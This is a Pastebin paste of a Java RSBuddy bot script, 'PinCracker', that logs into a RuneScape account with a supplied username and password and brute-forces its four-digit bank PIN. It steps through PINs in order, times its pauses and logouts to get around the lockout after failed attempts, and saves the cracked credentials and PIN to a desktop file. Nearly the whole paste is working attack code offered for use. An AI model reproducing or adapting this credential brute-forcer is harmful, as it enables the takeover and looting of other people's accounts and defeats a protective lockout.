Guest User

Untitled

a guest
Jan 14th, 2018
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.68 KB | None | 0 0
  1. /*
  2. * BankPin Cracker for RSBuddy.
  3. * Original Author: Pork
  4. * Converted & Modified by Fox - Hacking.RS
  5. */
  6.  
  7. import java.awt.*;
  8. import java.io.*;
  9. import java.util.logging.Level;
  10.  
  11. import org.rsbuddy.widgets.Bank;
  12. import com.rsbuddy.event.listeners.PaintListener;
  13. import com.rsbuddy.script.Manifest;
  14. import com.rsbuddy.script.ActiveScript;
  15. import com.rsbuddy.script.methods.*;
  16. import com.rsbuddy.script.util.Random;
  17. import com.rsbuddy.script.wrappers.Component;
  18. import com.rsbuddy.script.wrappers.Widget;
  19.  
  20. @Manifest(name = "PinCracker", authors = "Pork/Dodz", description = "Cracks bank pins.")
  21.  
  22. public class PinCracker extends ActiveScript implements PaintListener {
  23.  
  24. /* Enter the account's username & password here */
  25. private String username = "Username goes here";
  26. private String password = "Password goes here";
  27.  
  28. /* Enter the pin you want to start cracking from */
  29. private String pin = "0000";
  30.  
  31. /* Do not edit below this line */
  32.  
  33. private int state;
  34. private int tried = 0;
  35. private long banktimeout = 10;
  36. public long startTime = 0;
  37. public long millis = 0;
  38. public long hours = 0;
  39. public long minutes = 0;
  40. public long seconds = 0;
  41. public long last = 0;
  42. public int totalTried = 0;
  43. public int pinsPerHour = 0;
  44. public String currentPin = pin;
  45. public long attemptTime = 0;
  46.  
  47. private String getDesktopPath() {
  48. String path = System.getProperty("user.home") + "/Desktop";
  49. return path;
  50. }
  51.  
  52. public boolean activateCondition() {
  53. return Widgets.get(13).isValid() || Widgets.getComponent(14, 34).isValid();
  54. }
  55.  
  56. public long bankTimeout() {
  57. return banktimeout;
  58. }
  59.  
  60. public void enterCode(final String aPin) {
  61. if (!Widgets.get(13).isValid())
  62. return;
  63. final Component[] child = Widgets.get(13).getComponents();
  64. state = 0;
  65. for (int i = 1; i < 5; i++) {
  66. if (child[i].containsText("?")) {
  67. state++;
  68. }
  69. }
  70. state = 4 - state;
  71. if (!Widgets.get(759).isValid())
  72. return;
  73. final Component[] bankPin = Widgets.get(759).getComponents();
  74. if (state >= 3)
  75. sleep(300, 600);
  76. for (int i = 0; i < bankPin.length; i++) {
  77. if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  78. final Component[] childrenBefore = Widgets.get(13).getComponents();
  79. int stateBefore = 0;
  80. int stateAfter = 0;
  81. for (int j=1; j<5; j++) {
  82. if (childrenBefore[j].containsText("?"))
  83. stateBefore++;
  84. }
  85. bankPin[i].click();
  86. sleep(500);
  87. while (stateBefore == stateAfter) {
  88. final Component[] childrenAfter = Widgets.get(13).getComponents();
  89. for (int k=1; k<5; k++) {
  90. if (childrenAfter[k].containsText("?"))
  91. stateAfter++;
  92. }
  93. sleep(500);
  94. }
  95. break;
  96. }
  97. }
  98. if (state == 3) {
  99. tried++;
  100. totalTried++;
  101. if (tried == 2)
  102. sleep(11000);
  103. else if(tried >= 3) {
  104. sleep(2000);
  105. if(Widgets.get(762).isValid() || (Widgets.canContinue() && Widgets.getContinueComponent().containsText("has been cancelled")))
  106. pinIsCracked();
  107. else {
  108. sleep(14000);
  109. tried = 0;
  110. while(Game.isLoggedIn())
  111. Game.logout(true);
  112. }
  113. }
  114. int temp = Integer.parseInt(pin);
  115. temp++;
  116. if (temp >= 0 && temp <= 9)
  117. pin = String.format("000%d", temp);
  118. else if(temp >= 10 && temp <= 99)
  119. pin = String.format("00%d", temp);
  120. else if(temp >= 100 && temp <= 999)
  121. pin = String.format("0%d", temp);
  122. else if(temp >= 1000 && temp <= 9999)
  123. pin = "" + temp;
  124. currentPin = pin;
  125. }
  126. }
  127.  
  128. public void login() {
  129. if(Widgets.get(906).isValid()) {
  130. if (Widgets.get(906).containsText("account has not logged out"))
  131. Mouse.click(382, 322, true);
  132. else {
  133. Widgets.get(906).getComponent(171).click();
  134. while(Widgets.get(906).containsText("Entering game"))
  135. sleep(500);
  136. }
  137. }
  138. else if (Widgets.get(596).isValid()) {
  139. Widgets.get(596).getComponent(40).click();
  140. sleep(1000);
  141. Keyboard.sendTextInstant(username, false);
  142. Widgets.get(596).getComponent(42).click();
  143. sleep(1000);
  144. Keyboard.sendTextInstant(password, false);
  145. Widgets.get(596).getComponent(46).click();
  146. while(Game.isLoginShowing())
  147. sleep(500);
  148. }
  149. }
  150.  
  151. public void pinIsCracked() {
  152. log("Bank pin successfully cracked!");
  153. log("PIN: " + pin);
  154. try {
  155. BufferedWriter out = new BufferedWriter(new FileWriter(new File(getDesktopPath(),"PinCrackerLog.txt")));
  156. out.write("Username: " + username);
  157. out.newLine();
  158. out.write("Password: " + password);
  159. out.newLine();
  160. out.write("PIN: " + pin);
  161. out.newLine();
  162. log("Account info saved to desktop.");
  163. out.close();
  164. }
  165. catch (IOException e) {
  166. log.warning(e.getMessage());
  167. }
  168. while(Game.isLoggedIn())
  169. Game.logout(false);
  170. stop();
  171. }
  172.  
  173. @Override
  174. public boolean onStart() {
  175. startTime = System.currentTimeMillis();
  176. Mouse.setSpeed(1);
  177. Environment.disableRandoms();
  178. return true;
  179. }
  180.  
  181. @Override
  182. public int loop() {
  183. if (Game.isLoggedIn()) {
  184. if (Widgets.get(109).isValid()) {
  185. Mouse.click(427, 75, true);
  186. }
  187. if (Widgets.get(13).isValid()) {
  188. enterCode(pin);
  189. sleep(500,1000);
  190. }
  191. else if(Widgets.get(762).isValid() || (Widgets.canContinue() && Widgets.getContinueComponent().containsText("has been cancelled")))
  192. pinIsCracked();
  193. else
  194. Bank.open();
  195. }
  196. else {
  197. login();
  198. }
  199. return Random.nextInt(200,500);
  200. }
  201.  
  202. public void onRepaint(Graphics g1) {
  203. Graphics2D g = (Graphics2D)g1;
  204.  
  205. millis = System.currentTimeMillis() - startTime;
  206. hours = millis / (1000 * 60 * 60);
  207. millis -= hours * (1000 * 60 * 60);
  208. minutes = millis / (1000 * 60);
  209. millis -= minutes * (1000 * 60);
  210. seconds = millis / 1000;
  211. String hoursString = "" + hours;
  212. String minutesString = "" + minutes;
  213. String secondsString = "" + seconds;
  214. if (hours < 10)
  215. hoursString = "0" + hours;
  216. if (minutes < 10)
  217. minutesString = "0" + minutes;
  218. if (seconds < 10)
  219. secondsString = "0" + seconds;
  220.  
  221. g.setColor(Color.black);
  222. g.fillRect(5, 5, 190, 65);
  223. g.setFont(new Font("Arial", Font.BOLD, 15));
  224. g.setColor(Color.white);
  225. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  226. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  227. g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
  228. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  229. }
  230. }
Add Comment
Please, Sign In to add comment